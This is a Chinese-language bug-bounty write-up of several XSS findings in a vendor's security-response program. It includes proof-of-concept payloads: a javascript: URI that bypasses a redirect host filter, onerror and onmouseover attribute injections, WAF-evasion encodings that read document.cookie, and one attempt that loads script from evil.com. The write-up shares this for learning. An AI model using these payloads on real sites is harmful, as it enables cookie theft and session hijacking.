在学习漏洞挖掘的过程中,笔者测试了某个SRC(安全应急响应中心)的业务,发现了几个XSS漏洞案例。这些漏洞中,请求参数在返回的HTML中以隐蔽标签形式出现的情况较为常见。为此,我开发了一个Burp Suite插件来监听请求并捕获这类情况,插件地址: https://github.com/Hpd0ger/SuperTags 。本文分享这些案例,如有不足之处,欢迎指正。
登陆跳转处XSS
某处登陆页面查看了表单,并跟进事件绑定的对象utils。

图1:包含登录验证逻辑的HTML代码片段
直接截出登陆验证部分,redata是响应参数,登陆成功为0。host定义为normal.com。这里发现其实在登陆的时候是可以存在一个cb参数的(但之前我登陆的时候并没有察觉,因为是后台有个功能loginout,点击才会附带cb参数到登录页)。

图2:涉及cb参数处理的JavaScript代码
其中,getParam方法如下:
getParam: function(c_name) {
var urlParams = location.href;
var c_start = urlParams.indexOf(c_name + "=");
if (c_start != -1) {
c_start = c_start + c_name.length + 1;
c_end = urlParams.indexOf("&", c_start);
if (c_end == -1) {
c_end = urlParams.length;
}
return urlParams.substring(c_start, c_end);
}else{
return null;
}
},
这里开发者对cb参数进行了过滤,如果cb不包含host则强制重定向首页。但过滤略鸡肋,直接把host放在注释符后就能绕过。

图3:验证过滤绕过的JavaScript执行结果
POC:
cb=javascript:alert(document.cookie);//normal.com

图4:成功触发XSS弹窗
Image处的XSS
这是该厂商的一个移动端业务,在我测试之前已有其他安全研究员发现此洞。看一下这个洞是如何产生的。
功能点:提交问题反馈,可以上传问题图片。

图5:包含图片上传功能的反馈表单
漏洞逻辑:上传图片 -> 提交反馈 -> 服务端拼接提交的img参数(URI)为img标签src属性的完整地址。
测试上传一个图片后,点击提交反馈并抓包,imglist参数是刚才上传图片返回的URI地址。

图6:左侧为反馈表单,右侧为对应的HTTP请求数据
POST xxxx?q=index/feedback HTTP/1.1
imglist=%2Cpicture%2F2019%2F02%2F22%2F_a948b4eeaca7420cad9d54fdb0331230.jpg&
问题就出在拼接标签这部分,修改imglist参数就可以闭合src属性进行XSS,使最终的img标签执行onerror事件。
步骤:抓包修改img路径 -> 拼接恶意JavaScript事件。POC:
imglist=urlencode(" onerror="alert(`XSS`)"\>\<")

图7:包含onerror事件的编码payload
成功弹窗。

图8:成功注入onerror事件的img标签代码
邮件提交处的XSS
在测试某业务的邮箱密码验证时,发现一个包含请求邮箱的页面。

图9:显示邮箱地址的页面及HTTP请求信息
记得之前看过相关文章,有些服务在发送完邮件后会弹出一个“邮件已发送+email”的页面导致反射型XSS,这正属于此类情况。
随手测试了一下,发现直接触发了WAF,过滤了空格、双引号、尖括号和反斜杠。HTML编码的尖括号被实体化,但HTML编码的双引号没有被实体化。

图10:使用Burp Suite测试邮箱参数过滤
同时在FUZZ期间多次出现参数错误,发现应用层可能做了些过滤:
- email字符串长度<40且以@结尾
- 不能同时出现两个双引号、括号
- 正则匹配alert(1)、prompt(1)、confirm等
不过只要脱离引号限制就好办,毕竟有很多JS事件可用。一开始测试了input标签的一些on事件,但type是hidden,许多可视事件无效。想起之前看过一个input hidden XSS的用法是通过按alt+shift+x触发,POC如下:
urlencode(email=" accesskey="X" onclick="alert(('xss')"@qq.com)

图11:成功触发的XSS弹窗
但这个POC很鸡肋,因为要打出cookie的话长度受限,且利用条件苛刻(需Firefox及特定按键)。
回头查看发现有form标签也有输出点,最初以为form能执行的JS事件就只有reset和submit,后来测试发现onmouseover也能弹框。
encodeurl(email=" onmouseover="alert((document.cookie)"@qq.com)

图12:编码后的onmouseover payload在控制台显示
一个受阻的XSS
在测试某业务时发现一个有趣的参数拼接点:iframe的src拼接url参数+后端给定的第三方host -> iframe加载src。
测试发现特殊字符都被实体化了,但这个iframe点值得深入。

图13:显示参数拼接的HTTP请求信息
经过一番寻找,发现第三方服务的登陆点存在JS跳转漏洞,用iframe加载这个第三方服务的DOM-XSS也能造成弹框效果。

图14:通过iframe触发第三方页面的XSS弹窗
虽然是在SRC业务站点弹的框,但真正的域是子页面的。打印一下COOKIE验证,果然是子页面域的cookie。由于WAF过滤了document.cookie和javascript:alert,使用了HTML编码的:和八进制JS编码的.绕过,完整payload如下:
https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(document\56cookie)
在进一步探索中,做了两个尝试:
-
尝试跳转到一个外域的JS,看能否把src属性转到这个js。
https://src.com?url=redirect_uri%3Dhttps://evil.com/xss.js
但是会把资源解析到子页面的document里,而不是src的改变。

图15:iframe加载并解析外部JavaScript代码
-
iframe是否能调用父页面的事件呢(如document)?如果可以就直接调js URI把cookie打出去。之所以有这个想法是因为,既然站点调用这个三方服务,很大可能该三方站是iframe-src白名单。不过测试后发现依然被跨域限制,测试payload:
https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(window.parent.document\56cookie)

图16:尝试访问父页面document时触发的跨域安全错误
对跨域姿势了解不多,欢迎有兴趣的师傅一起交流这类问题。
总结
从打CTF到学着挖洞,思维上有些不同,逐渐理解了资产收集的重要性。希望这些案例能为大家提供一些思路。更多安全技术实战分享,欢迎关注云栈社区进行深度交流。